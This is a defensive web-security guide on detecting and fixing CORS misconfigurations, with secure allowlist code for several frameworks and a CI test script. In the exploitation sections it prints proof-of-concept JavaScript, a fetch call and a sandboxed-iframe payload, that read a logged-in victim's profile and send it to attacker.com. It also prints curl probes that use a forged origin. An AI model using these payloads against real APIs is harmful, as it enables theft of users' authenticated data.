CORS Misconfiguration Detection and Fix: How to Find and Remediate Cross-Origin Policy Failures Before They Enable Credential Theft

The same-origin policy (SOP) is a browser security mechanism that prevents scripts on one origin (domain, protocol, port) from reading responses from a different origin. CORS is the mechanism that allows servers to selectively relax the SOP for specific trusted origins.

When a browser makes a cross-origin request from https://attacker.com to https://api.victim.com/user/profile, the browser includes an Origin: https://attacker.com header. The server responds with Access-Control-Allow-Origin: https://attacker.com (or not). If the response includes the attacker's origin in the ACAO header AND Access-Control-Allow-Credentials: true, the browser allows the attacker's page script to read the response body, including any sensitive data.

The key point: the browser enforces CORS on behalf of the user. The server must correctly declare which origins it trusts. A server that trusts all origins, or that dynamically trusts whatever origin is in the request, has effectively disabled the same-origin protection.

CORS misconfigurations do not affect non-credentialed requests (no cookies, no Authorization header). The attack requires that the victim be authenticated to the target application and that their browser sends the session cookie with the cross-origin request. This is why Access-Control-Allow-Credentials: true in combination with a misconfigured ACAO header is the critical combination.

The most common and most severe CORS misconfiguration. The server reads the Origin header from the request and reflects it directly into the Access-Control-Allow-Origin response header:

Request:  Origin: https://attacker.com
Response: Access-Control-Allow-Origin: https://attacker.com
          Access-Control-Allow-Credentials: true

This is functionally equivalent to Access-Control-Allow-Origin: * combined with credentials, except that browsers permit * only when credentials are NOT sent (the spec prohibits * + credentials). The reflective pattern bypasses this spec restriction.

The exploitation is simple. An attacker hosts a page at https://attacker.com/steal:

fetch('https://api.victim.com/user/profile', {
  credentials: 'include'
})
.then(response => response.json())
.then(data => {
  fetch('https://attacker.com/collect?data=' + encodeURIComponent(JSON.stringify(data)))
});

Any authenticated victim who visits https://attacker.com/steal has their profile data (and any other API data accessible with their session) exfiltrated.

To detect the reflective pattern:

curl -H "Origin: https://attacker.com" \
     -H "Cookie: session=your_valid_session" \
     https://api.target.com/api/me -v 2>&1 | grep -i "access-control"

If the response includes Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true, the application is vulnerable.

Some applications whitelist the null origin value in their CORS policy, intending to support file:// protocol requests or specific browser contexts. The null origin can be triggered from a sandboxed iframe:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        src="data:text/html,<script>
fetch('https://api.victim.com/user/profile', { credentials: 'include' })
.then(r => r.json())
.then(d => top.location='https://attacker.com/collect?d='+encodeURIComponent(JSON.stringify(d)))
</script>">
</iframe>

The sandbox attribute causes the iframe's origin to be null. If the API responds to Origin: null with Access-Control-Allow-Origin: null, the request succeeds and the script can read the response.

Detect the null origin:

curl -H "Origin: null" \
     -H "Cookie: session=your_valid_session" \
     https://api.target.com/api/me -v 2>&1 | grep -i "access-control"

Fix: Never whitelist null as an allowed origin. If your application needs to support local file access for testing purposes, document and restrict that to development environments only.

Some applications implement CORS allowlists using string matching that can be tricked by attacker-controlled subdomains or lookalike domains.

Prefix matching without anchoring: If the CORS check is origin.startsWith('https://victim.com'), an attacker registers victim.com.attacker.com or a domain starting with the victim string.

Suffix matching without anchoring: If the CORS check is origin.endsWith('victim.com'), an attacker registers evilVictim.com (contains victim.com as a suffix after manipulating the check).

Regex without anchoring or escaping: If the check is origin.match('victim.com') (without anchors and without escaping the dot), victimXcom.attacker.com or victimXcom would match because . in regex matches any character.

Subdomain XSS to CORS escalation: If the CORS policy trusts all subdomains (*.victim.com) and a subdomain has an XSS vulnerability, an attacker can use the XSS on the subdomain to make credentialed CORS requests to the main API. The subdomain's origin is trusted, the credentials are sent, and the API response is readable from the XSS context.

The secure approach to origin validation:

ALLOWED_ORIGINS = {
    'https://www.victim.com',
    'https://app.victim.com',
    'https://admin.victim.com',
}

def get_cors_origin(request_origin: str) -> str | None:
    # Exact match only -- no prefix, suffix, or regex matching
    if request_origin in ALLOWED_ORIGINS:
        return request_origin
    return None  # Do not return Access-Control-Allow-Origin if origin is not in whitelist

The secure CORS configuration pattern for credentialed API endpoints:

1. Maintain an explicit whitelist of allowed origins
2. Validate incoming Origin header against the whitelist using exact string matching
3. If the origin matches, echo it back in the response header
4. If the origin does not match, do NOT return Access-Control-Allow-Origin at all (not even null or *)
5. Set Vary: Origin so that caches do not serve the CORS response for one origin to a different origin

Express.js (Node.js):

const ALLOWED_ORIGINS = new Set([
  'https://www.yourapp.com',
  'https://app.yourapp.com'
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '86400');
    return res.sendStatus(204);
  }
  next();
});

Django (Python):

# settings.py
CORS_ALLOWED_ORIGINS = [
    'https://www.yourapp.com',
    'https://app.yourapp.com',
]
CORS_ALLOW_CREDENTIALS = True
# Do NOT use CORS_ALLOW_ALL_ORIGINS = True with credentials

Spring Boot (Java):

@Configuration
public class CorsConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
            .allowedOrigins("https://www.yourapp.com", "https://app.yourapp.com")
            .allowCredentials(true)
            .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
            .allowedHeaders("Content-Type", "Authorization")
            .maxAge(86400);
    }
}

For public APIs that serve non-credentialed data, Access-Control-Allow-Origin: * is safe. Only use the allowlist pattern when Access-Control-Allow-Credentials: true is required.

Add CORS checks to your CI/CD pipeline so misconfigurations are caught before deployment. A minimal test suite:

#!/bin/bash
# cors_test.sh -- run against staging before deployment
API_URL="https://staging-api.yourapp.com/api/user"
SESSION_COOKIE="session=test_session_value"

# Test 1: Legitimate origin -- should return ACAO with that origin
LEGIT_RESPONSE=$(curl -s -I -H "Origin: https://www.yourapp.com" \
    -H "Cookie: $SESSION_COOKIE" "$API_URL")
if echo "$LEGIT_RESPONSE" | grep -q "Access-Control-Allow-Origin: https://www.yourapp.com"; then
    echo "PASS: Legitimate origin accepted"
else
    echo "FAIL: Legitimate origin not accepted -- check CORS whitelist"
fi

# Test 2: Attacker origin -- should NOT return ACAO
ATTACK_RESPONSE=$(curl -s -I -H "Origin: https://attacker.com" \
    -H "Cookie: $SESSION_COOKIE" "$API_URL")
if echo "$ATTACK_RESPONSE" | grep -q "Access-Control-Allow-Origin: https://attacker.com"; then
    echo "FAIL: Reflective CORS vulnerability detected -- attacker origin accepted"
elif echo "$ATTACK_RESPONSE" | grep -q "Access-Control-Allow-Origin: \*"; then
    echo "FAIL: Wildcard CORS with credentials -- check configuration"
else
    echo "PASS: Attacker origin rejected"
fi

# Test 3: Null origin -- should NOT return ACAO: null
NULL_RESPONSE=$(curl -s -I -H "Origin: null" \
    -H "Cookie: $SESSION_COOKIE" "$API_URL")
if echo "$NULL_RESPONSE" | grep -q "Access-Control-Allow-Origin: null"; then
    echo "FAIL: null origin accepted -- sandbox iframe bypass possible"
else
    echo "PASS: null origin rejected"
fi

Integrate this into the deployment pipeline. A failed CORS test blocks deployment to production.